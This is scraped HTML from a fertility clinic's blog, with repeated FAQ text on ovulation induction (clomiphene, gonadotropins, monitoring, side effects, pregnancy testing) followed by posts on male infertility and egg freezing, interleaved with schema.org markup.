height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"FAQPage\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"What is ovulation?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Usually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\"}},{\"@type\":\"Question\",\"name\":\"What are gonadotrophins?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Gonadotropins are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\"}},{\"@type\":\"Question\",\"name\":\"When should I test for pregnancy?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Most menstrual cycles are approximately 28 days long and ovulation occurs 14 days prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script>\r\n\r\n<strong>What is ovulation?</strong>\r\n\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\"}},{\"@type\":\"Question\",\"name\":\"What is ovulation induction?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Ovulation induction is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or artificial insemination (IUI). It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\"}},{\"@type\":\"Question\",\"name\":\"What is clomiphene citrate?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\"}},{\"@type\":\"Question\",\"name\":\"How should Clomiphene be taken?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Clomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\"}},{\"@type\":\"Question\",\"name\":\"What are the potential side effects of clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Bloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\"}},{\"@type\":\"Question\",\"name\":\"What are the chances of conceiving with clomiphene?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"For women whose only infertility problem is anovulation, up to 80% of patients will ovulate using this medication and 50% of those will conceive. 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Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\"}}]}</script>\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong><strong>What is ovulation?</strong></strong></h2>\r\nUsually each month one ovary will be stimulated by hormones produced in the brain. These cause a small cyst or follicle to grow on the ovary in which an egg develops. Another hormone then causes the follicle to release one egg to travel down the fallopian tube where it can be fertilized by the sperm which swims up from the vagina. This usually occurs around 14 days after the beginning of a period but can vary between 11 – 16 days.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><!--more-->\r\n<strong>What is ovulation induction?</strong></h2>\r\n<em>Ovulation induction</em> is a simple process which encourages the ovaries to release eggs, to maximize your chance of conception through intercourse or <span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/semen-processing-and-iui\" target=\"_blank\" rel=\"noopener\"><em>artificial insemination (IUI)</em></a></strong></span>. It suits women who are producing low levels of hormones for ovulation, or who are not ovulating at all. Medication in the form of tablets or injections needs to be taken to stimulate hormones for egg production.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who needs ovulation induction?</strong></h2>\r\nIf a woman is not ovulating by herself then ovulation induction may be required.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>The most common causes of failure to ovulate are</strong></strong></span></h3>\r\n<ul>\r\n 	<li>Stress</li>\r\n 	<li>Weight fluctuations</li>\r\n 	<li>Polycystic Ovarian Syndrome (PCOS)</li>\r\n</ul>\r\nOther causes may include disorders of the pituitary gland, thyroid gland, and raised prolactin levels. In some cases, failure of ovulation is due to the<strong> ovarian failure</strong>. This may occur following treatment for cancer or maybe the start of the menopause – premature ovarian failure.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What is clomiphene citrate?</strong></h2>\r\nClomiphene is a fertility drug that can increase the chance of ovulation occurring. It is an anti-estrogen and the most commonly used drug for inducing ovulation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How should Clomiphene be taken?</strong></h2>\r\nClomiphene is taken for 5 days early in the menstrual cycle – typically from day 2 to 6 of the cycle or day 3 to day 7. It is taken orally at the same time every day.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the potential side effects of clomiphene?</strong></h2>\r\nBloating, pelvic pain, nausea, vomiting, insomnia, light-headedness, constipation, breast discomfort, fatigue and a change in menstrual flow can all occur while taking clomiphene. If you develop blurred or altered vision please discontinue clomiphene and contact the doctor.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the chances of conceiving with clomiphene?</strong></h2>\r\nFor women whose only<em> <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/infertility-evaluation-and-workup\" target=\"_blank\" rel=\"noopener\"><strong>infertility problem</strong></a></span></em> is anovulation, up to 80% of patients will ovulate using this medication and <strong>50% of those will conceive.</strong> Clomiphene may be combined with intrauterine insemination to boost the success of the medication by placing the sperm and egg in closer proximity to each other.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are gonadotrophins?</strong></h2>\r\n<strong>Gonadotropins</strong> are fertility medications that contain FSH or LH alone or in combination. In contrast to clomiphene, which is given by mouth, gonadotropins are given by injections. A related medication is hCG, which is structurally similar to LH and mimics the natural LH surge. There are a variety of commercially available gonadotropin preparations.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How will the cycle be monitored while on ovulation induction drugs?</strong></h2>\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Ultrasound:</strong></span></h3>\r\n<img class=\"alignright\" style=\"text-align: -webkit-center;\" title=\"Ultrasound Scan\" src=\"https://www.nufertility.com/blog/wp-content/uploads/2018/02/i6.png\" alt=\"Ultrasound Scan\" width=\"300\" height=\"222\" />The doctor will often use one or more ultrasound scans to obtain an actual image of the ovaries and to regularly monitor follicle growth in the ovary beginning on or before day eight of the cycle, as follicles mature, they grow larger. Through ultrasound, the doctor will observe the effects of treatment on follicle growth and size, and decide when to give<strong> hCG injection</strong> (human chorionic gonadotrophin) to assist with the release of the egg.\r\n<h3 style=\"text-align: left; font-size: 14px; width: 100%;\"><span style=\"color: #ff0000;\"><b>Blood tests:</b></span></h3>\r\nTesting the blood every few days for oestrogen levels can monitor the response to treatment with FSH therapy.\r\n\r\nYour progesterone level is usually checked six to eight days after you ovulate <strong>(about day 21 of a day 28 cycle)</strong>. This is because progesterone levels rise following ovulation, peaking five to nine days after ovulation. This is known as your luteal phase. After the midluteal<strong> period,</strong> your serum progesterone levels will begin to fall if the egg is not fertilized.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>What are the side effects of gonadotropins?</strong></h2>\r\nThere are potential risks and complications associated with the use of gonadotropins. Side effects should be discussed prior to taking these medications. Despite intensive monitoring, up to 30% of gonadotropin-stimulated pregnancies are multiple. Of the multiple pregnancies, about two-thirds are twins and one-third are triplets or more. Premature delivery is a known risk for multiple pregnancies. The greater the number of fetuses in the uterus, the greater the risk of premature delivery. Premature delivery can subject the newborn to complications such as severe respiratory distress, intracranial hemorrhage, infection, cerebral palsy, and death. Some patients pregnant with triplets or more choose to undergo a procedure known as multifetal pregnancy reduction in an effort to decrease these risks.\r\n\r\nIn addition to problems associated with high order multiple gestations, another serious side effect of gonadotropin therapy is ovarian hyperstimulation syndrome (OHSS)<strong>,</strong> in which the ovaries become swollen and painful. In severe cases, fluid accumulates in the abdominal cavity and chest. In about 2% of gonadotropin cycles, hyperstimulation may be severe enough to require hospitalization. Careful monitoring of ovulation induction cycles with the use of ultrasound and/or measurement of serum estradiol levels, in conjunction with adjustment of gonadotropin dosage, will enable the physician to identify risk factors and prevent most cases of severe OHSS. When serum estradiol levels are rapidly rising and/or too high, or an excessive number of ovarian follicles develop, one method of best prevention is to withhold further gonadotropin stimulation and delay hCG administration until estradiol levels plateau or decline. Alternately, hCG can be withheld so that ovulation fails to occur, thereby lessening the severity of OHSS.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>When should I test for pregnancy?</strong></h2>\r\nMost menstrual cycles are approximately <strong>28 days long and ovulation occurs 14 days</strong> prior to the onset of menstrual flow. If you are pregnant the menstrual flow will not come. Test for pregnancy using a home pregnancy test 28-30 days after your last menstrual period.\r\n\r\nIf your period does not come, continue to test for pregnancy every second day. Contact the <em><span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>best doctors</strong></a></span></em> if your menstrual period does not come 35 days after your last period and the pregnancy test remains negative. Please also contact your doctor if you become pregnant! Please remember you may not conceive during the first cycle. Indeed, most patients require a few months of clomiphene treatment and sometimes dosage adjustments are required.\r\n\r\n<strong>Reference:</strong>\r\n\r\n<strong>Ovulation Problems and Infertility:</strong> Treatment of ovulation problems with Clomid and other fertility drugs Advanced<span style=\"color: #3366ff;\"><strong><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/\" target=\"_blank\" rel=\"noopener\"> <em>Fertility Center</em></a> </strong></span>of Chicago. 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hidden; line-height: 0;\" class=\"mce_SELRES_start\">﻿</span><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\r\n{\r\n\"@context\": \"https://schema.org\",\r\n\"@type\": \"Article\",\r\n\"mainEntityOfPage\": {\r\n\"@type\": \"WebPage\",\r\n\"@id\": \"https://www.nufertility.com/blog/male-infertility-causes-treatment/<span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">﻿</span>\"\r\n},\r\n\"headline\": \"Male Infertility – What You Need To Know\",\r\n\"image\": [\r\n\"https://www.nufertility.com/blog/wp-content/uploads/2020/01/Male-Infertility.jpg\"],\r\n\"datePublished\": \"2020-10-01T18:41:26+05:30\",\r\n\"dateModified\": \"2019-10-01T10:56:43+05:30\",\r\n\"author\": {\r\n\"@type\": \"Person\",\r\n\"name\": \" Dr. Pramod Krishnappa\"\r\n},\r\n\"publisher\": {\r\n\"@type\": \"Organization\",\r\n\"name\": \"Nu Fertility\",\r\n\"logo\": {\r\n\"@type\": \"ImageObject\",\r\n\"url\": \"https://www.nufertility.com/blog/wp-content/uploads/2018/07/NU-FERTILITY-Final-c2c-.png\"\r\n}\r\n},\r\n\"description\": \"Male infertility is when a male&#039;s inability to cause pregnancy in a fertile female and can be treated with assisted reproductive technology. Book an appointment with experienced urologist/andrologist.\"\r\n}\r\n</script>\r\n<div style=\"text-align: justify;\">\r\n\r\nWhen a couple is ready to get pregnant, it should be the happiest and easiest thing in the world. However, for a large majority of couples, getting pregnant is not so easy. There are a number of complications that can arise, either in the man or woman, that can make getting pregnant extremely problematic.\r\n<!--more-->\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>What is male infertility?</strong></strong></span></h2>\r\nMale infertility is when the man is facing problems with his fertility and cannot get the woman pregnant. <strong>1 in every 6 couples face fertility issues</strong>, and 50% of the fertility cases are believed to be linked to the male.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>What factors can cause male infertility?</strong></span></h2>\r\nMale infertility can arise due to a number of reasons such as low sperm count, abnormally functioning sperm or blockages that prevent the delivery of sperm from the testicles to the penis. Certain past illnesses or chronic health problems, injuries, lifestyle choices, and other factors can also play a role in causing male infertility.\r\n\r\nIn most cases, the cause for male infertility is related to the process of making the sperm or the mobility of the sperm. Some men may have sperm that have a short life span. Other men may have a very <strong><span style=\"color: #3366ff;\">low sperm count </span></strong>(also known as oligospermia). Some men cannot produce sperm at all (a condition called azoospermia). Most of the time, with the right medical/surgical treatments and lifestyle modifications, these problems can be reversed and cured. Other times, they, unfortunately, cannot. Consulting with the right andrologist/urologist and getting a complete check-up for the right path of treatment is the best way out.\r\n<h3 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong><strong>what are the treatments for Male Infertility?</strong></strong></span></h3>\r\n<h3 style=\"text-align: left; font-size: 13px; width: 100%;\"><strong>Surgical and Non-surgical Options</strong></h3>\r\nThe urologist will take a full medical history and do a routine but thorough physical examination. For most men, these steps will be enough to pinpoint the issue. However, some men will require a few extra exams to detect the underlying problem, if needed, such as an ultrasound, blood tests or a hormonal profile. These will help further check the potential cause.\r\n\r\nOnce the main issue has been found, the doctor will prescribe the best treatment options available. But on a positive note, most male infertility cases are treatable, allowing the couple to fulfill their dreams of having a child of their own.\r\n\r\nMale infertility can be treated<strong> with or without surgery</strong>, or with assisted reproductive technology treatments. The non-surgical options include lifestyle changes, medications, therapy/counseling or hormone-related treatments. Other treatment options include surgery or the use of assisted reproductive technology.\r\n\r\nFor men who cannot bring out semen (ejaculate) at all, also known as anejaculation, medications will typically be prescribed first. This, by itself, is usually successful. If not, surgery is usually the next option. Surgery can be used to correct a defect or remove a blockage. Varicocele surgery sometimes helps in improving the quality and quantity of sperms in semen.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><span style=\"color: #ff0000;\"><strong>Types of Assisted Reproductive (ART) Technology</strong></span></h2>\r\nWhen medication and surgical methods prove to be unfruitful to cure male infertility, your doctor will prescribe other forms of treatment that do not involve having intercourse. These methods are also called assisted reproductive techniques. <strong>Some of them are as follows:</strong>\r\n<ol>\r\n 	<li><strong><a href=\"https://www.nufertility.com/in-vitro-fertilization-ivf\">IVF (In-vitro Fertilization)</a>:</strong> This is when the egg of a woman is retrieved from the ovaries and fertilized by sperm in laboratory conditions. After letting it grow for 3 to 5 days, the fertilized egg (embryo) is put back into the woman’s uterus.</li>\r\n 	<li><strong>IUI (Intrauterine Insemination):</strong> This involves placing the sperm into the woman’s uterus using a special tube. This method is often used when the man’s sperm count is low, and his sperm has low mobility. Or when there is retrograde ejaculation.</li>\r\n 	<li><strong>ICSI (Intracytoplasmic Sperm Injection):</strong> This is where a single sperm is physically inserted into an egg. This treatment option helps those having even the most severe male infertility problems. Because of this revolutionary method, up to 80 percent of infertile men have the potential to conceive with their partner.\r\nToday’s highly-advanced, revolutionary medical techniques and procedures have made it possible for couples to conceive and make their dreams come true no matter what the odds are.</li>\r\n</ol>\r\nFor more information on male infertility and its treatment options please meet <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nuhospitals.com/medical-specialities/andrology\" target=\"_blank\" rel=\"noopener\"><strong>Dr. Pramod Krishnappa</strong></a></span> or <span style=\"color: #3366ff;\"><a style=\"color: #3366ff;\" href=\"https://www.nufertility.com/book-an-appointment\" target=\"_blank\" rel=\"noopener\"><strong>book an appointment</strong></a></span> with one of our experienced urologists/andrologists.\r\n\r\n<strong><a href=\"https://www.nufertility.com/blog/tips-to-boost-male-fertility-sperm-count/\">Tips to Boost Male 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src=\"https://www.nufertility.com/blog/wp-content/uploads/2019/06/Egg-Freezing.jpg\" alt=\"Egg Freezing and Embryo Freezing\" width=\"1140\" height=\"589\" />\r\n\r\nYou have a perfect life. You finish college, get a dream job, make money, travel the world, build a house, marry, and start a family... This may not be the case always. You may not have found a life partner or be ready for a child yet! However, this does not stop your biological clock from ticking.\r\n\r\n<!--more-->\r\n\r\nAge is the most important factor which affects your chances of having a baby. Your ovaries have the maximum number of eggs at birth. The quality and quantity of eggs only reduce throughout your life. The maximum <a href=\"https://www.nufertility.com/blog/10-early-signs-of-pregnancy/\" target=\"_blank\" rel=\"noopener\"><strong>chances of pregnancy</strong></a> are between 25-30 years age, starts declining after 30 years and rapidly after 35 years. The best way to fulfill your dream of motherhood, if you are planning pregnancy later on in life, is egg freezing or oocyte cryopreservation.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>Who is a suitable candidate for egg freezing?</strong></h2>\r\nAny woman who &lt;40 years of age with a good ovarian reserve can freeze eggs. The chances of success are better in younger women as the quality and quantity of eggs are better in younger women.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How to go about with the process of egg freezing? </strong></h2>\r\nYou can consult our <a href=\"https://www.nufertility.com/our-team\" target=\"_blank\" rel=\"noopener\"><strong>fertility specialist</strong></a> a month prior to your planned cycle of egg freezing. You will have to undergo a scan and a few blood tests. If everything seems ok, you will be given premedication for a month. The actual medications to stimulate your ovaries to produce eggs will start in the subsequent cycle. This will consist of about 10 days of injections. Eggs will be collected after that.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 100%;\"><strong>How are the eggs frozen?</strong></h2>\r\nThe collected eggs are frozen by the process of rapid freezing or vitrification at -196C. This process yields a better survival rate for the oocytes compared to the initially used process of slow freezing. The survival rate of eggs post warming is 75%.\r\n<h2 style=\"text-align: left; font-size: 16px; width: 